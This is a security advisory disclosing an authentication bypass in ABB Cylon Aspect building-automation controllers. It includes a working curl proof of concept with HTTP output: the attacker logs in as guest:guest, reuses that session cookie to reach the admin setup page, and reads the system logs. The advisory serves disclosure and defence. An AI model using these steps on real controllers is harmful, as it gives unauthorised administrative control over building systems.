📄 ABB Cylon Aspect 3.08.03 login.php Obscure Authentication Bypass

ABB Cylon Aspect 3.08.03 (login.php) Obscure Authentication Bypass
    
    
    Vendor: ABB Ltd.
    Product web page: https://www.global.abb
    Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                      Firmware: <=3.08.03
    
    Summary: ASPECT is an award-winning scalable building energy management
    and control solution designed to allow users seamless access to their
    building data through standard building protocols including smart devices.
    
    Desc: The ABB Cylon Aspect BAS controller allows login using guest:guest,
    which initiates a web session but restricts access to administrative features
    by returning an 'Invalid Admin Username and/or Password' message. However,
    the session is still active and valid within the HMI environment. Despite
    failed privilege validation in the login flow, direct navigation to /setup.php
    bypasses authentication and authorization controls entirely. This endpoint
    serves as the administrative dashboard and allows full configuration access,
    including the ability to change credentials for the privileged aamuser account.
    This flaw results in privilege escalation from a limited guest session to
    full administrative control, compromising the integrity of the system.
    
    Tested on: GNU/Linux 3.15.10 (armv7l)
               GNU/Linux 3.10.0 (x86_64)
               GNU/Linux 2.6.32 (x86_64)
               Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
               Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
               PHP/7.3.11
               PHP/5.6.30
               PHP/5.4.16
               PHP/4.4.8
               PHP/5.3.3
               AspectFT Automation Application Server
               lighttpd/1.4.32
               lighttpd/1.4.18
               Apache/2.2.15 (CentOS)
               OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
               OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
               ErgoTech MIX Deployment Server 2.0.0
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5949
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5949.php
    
    
    21.04.2024
    
    --
    
    
    $ cat project
    
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         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    ░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
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    $ curl http://192.168.73.31/validate/login.php \
    > -d "f_user=guest&f_pass=guest&submit=Login"
    
    HTTP/1.1 302 Found
    Date: Wed, 21 May 2025 20:11:17 GMT
    Server: Apache
    Set-Cookie: PHPSESSID=1ii8m7g2qb8c6lph0fu6olh0o0; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Location: ../index.php?error=Invalid Admin Username and/or Password.
    Content-Length: 0
    Connection: close
    Content-Type: text/html; charset=UTF-8
    
    $ curl http://192.168.73.31/setup.php \
    > -H "Cookie: PHPSESSID=1ii8m7g2qb8c6lph0fu6olh0o0; cod=82; csd=86"
    
    HTTP/1.1 200 OK
    Date: Wed, 21 May 2025 20:12:16 GMT
    Server: Apache
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Set-Cookie: context1=dHV2ZnVoZnRodjY7NjszOw%3D%3D; expires=Wed, 21-May-2025 21:12:16 GMT; path=/
    Set-Cookie: context1=dHV2ZnVoZnRodjY7NjszOw%3D%3D; expires=Wed, 21-May-2025 21:12:16 GMT; path=/
    Content-Length: 381
    Connection: close
    Content-Type: text/html; charset=UTF-8
    
    $ curl http://192.168.73.31/logSystem.php \
    > -H "Cookie: PHPSESSID=1ii8m7g2qb8c6lph0fu6olh0o0; context1=dHV2ZnVoZnRodjY7NjszOw%3D%3D; cod=82; csd=86"
    
    <html>
        <head>
            <title>System Logs</title>
    ...
    ...
    ...